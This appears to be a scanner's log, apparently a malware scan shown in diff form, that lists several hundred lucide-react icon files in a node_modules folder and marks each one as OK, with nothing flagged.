+/scan/node_modules/lucide-react/dist/esm/icons/signpost-big.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/video-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radio-tower.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun-snow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alert-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alert-triangle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-electric.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/feather.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/split.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-4.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brain-circuit.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-to-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cherry.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mountain.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/umbrella-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dot-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/text-cursor.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tornado.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-down-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-az.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-electric.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/podcast.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/inspect.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/globe-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand-heart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grip.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/volume-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-reply.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/vault.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scissors-square-dashed-bottom.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/percent-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/radius.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/locate-fixed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cup-soda.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rat.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/case-upper.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-x.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pill.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mail-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/power-circle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-graph.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/traffic-cone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-left-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/building-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bug.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/twitter.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cable.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-outgoing.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/thumbs-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-chevron-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-open-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/creative-commons.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-3d.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/satellite.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/helping-hand.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-distribute-end.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pin-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/twitch.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-menu.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-check.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-quote.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/camera-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-check-big.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-first.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signpost.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refresh-cw.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/image-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/contact-round.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-audio-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rotate-3-d.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/table-cells-split.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/area-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-type-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-download.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/library-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hop.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shovel.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-down-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-asterisk.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train-front-tunnel.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/repeat.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-equal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/camera.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flask-conical-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-text.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-m.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/highlighter.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rainbow.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/flip-horizontal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/nut-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/filter-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pilcrow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/key.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-from-dot.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-a.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/separator-horizontal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-vertical-space-around.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-square-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/switch-camera.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/banknote.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/timer.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/star-half.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-key.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sheet.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-chevron-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-more.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer-square-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brain.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/view.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-terminal.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/replace-all.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/columns-4.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal-high.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-right-from-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copyleft.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/redo-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-percent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wind.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sun-dim.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/beaker.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/boom-box.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/move-up-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-russian-ruble.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bell-minus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signpost-big.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plug-zap.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/briefcase-business.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/octagon-alert.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/webcam.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scaling.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/play-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-close.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-left-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/umbrella.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/external-link.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/copy-slash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-10.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/instagram.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/vote.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/puzzle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-dot-dashed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/eclipse.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-music.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-stack.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/triangle-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-out-up-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-indian-rupee.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/smartphone-nfc.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rewind.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shield.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/diamond-percent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/subscript.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/angry.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/columns.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alert-triangle.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heart-crack.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-bottom-code.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-up-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cable-car.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/menu.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevrons-left-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-edit.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paw-print.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/car.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dna-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-euro.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/tangent.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-diff.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-hail.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/edit-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hard-hat.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/party-popper.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/step-forward.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/waypoints.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-to-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-grid.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/subscript.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/stars.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spray-can.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-full.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-pilcrow.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-full.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/settings.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/train-front.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/more-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-chevron-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refrigerator.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/medal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/paint-roller.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/droplets.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fan.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/volume-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refresh-ccw-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/touchpad.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-panel-top.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pocket.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-sigma.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/leafy-green.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wallet-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/wifi-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/drama.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/app-window.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/check-check.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pyramid.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-pound-sterling.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/drumstick.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-list.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-slash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/presentation.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/heading-1.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-image.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/between-horizontal-end.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/expand.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-chevron-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grid-3-x-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp-floor.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-top-bottom.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scan-barcode.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/indent.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/trash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/braces.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-right-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/grape.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/messages-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/refresh-cw-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-key.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/library-big.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/eraser.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/corner-right-down.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bird.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/swiss-franc.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-up-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/inspect.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/keyboard-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/plus-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brain.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-01.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-sun-rain.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/alarm-clock-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-arrow-left.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-audio.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/server-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/package-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/menu.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-branch-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/brush.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bath.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-up-za.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/blocks.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/a-large-small.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/calendar-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bookmark.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/turtle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/undo-dot.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/volume.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/toggle-left.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sidebar-close.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/crown.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-down-from-line.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/badge-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/smile.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-top-open.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-x-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-right-from-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/landmark.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pen-line.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-right-square.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/music-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-cog.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shuffle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/folder-plus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-circle-heart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/music.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/screen-share.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-minus.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/video.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ungroup.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/captions-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-dashed-mouse-pointer.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/album.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/disc.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-left-dash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/redo.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/minus-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse-pointer-click.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/remove-formatting.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-json-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cup-soda.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/webhook-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cookie.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/facebook.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-8.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/server-crash.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/repeat-1.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-up-right.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/nut-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bluetooth-connected.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/container.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/activity.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-justify-start.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-first.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-cog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/variable.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/accessibility.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/construction.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/chevron-down.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-commit-vertical.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sofa.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/signal-high.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/message-square-more.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-left-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/ellipsis.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dice-5.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/kanban-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/eye-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/shirt.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-equal.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-out-down-right.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rectangle-vertical.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/receipt-swiss-franc.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bluetooth.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-round-x.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/fish-symbol.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mic-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/megaphone.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/layout-grid.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/phone-off.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hand-helping.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/battery-charging.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/martini.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/japanese-yen.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/scissors.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/crop.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/pie-chart.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/parking-square.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/gamepad-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-cog.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/book-marked.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/map.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bar-chart-3.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/spell-check-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/voicemail.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notepad-text-dashed.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/notepad-text.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/list-collapse.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/arrow-big-down-dash.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/percent-circle.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-user-round.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/bike.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panel-right-open.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-arrow-up.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/user-2.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clock-6.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/rocket.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/cloud-rain-wind.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/skip-forward.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/instagram.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/mouse.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/panels-left-bottom.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/square-user-round.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/search.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/file-up.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/dollar-sign.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/align-horizontal-space-between.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/lamp.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/circle-plus.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/hard-drive-upload.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/clipboard-paste.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/users-2.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/git-pull-request-closed.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/captions-off.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/linkedin.js: OK
+/scan/node_modules/lucide-react/dist/esm/icons/sticky-note.js.map: OK
+/scan/node_modules/lucide-react/dist/esm/icons/edit-2.js: OK
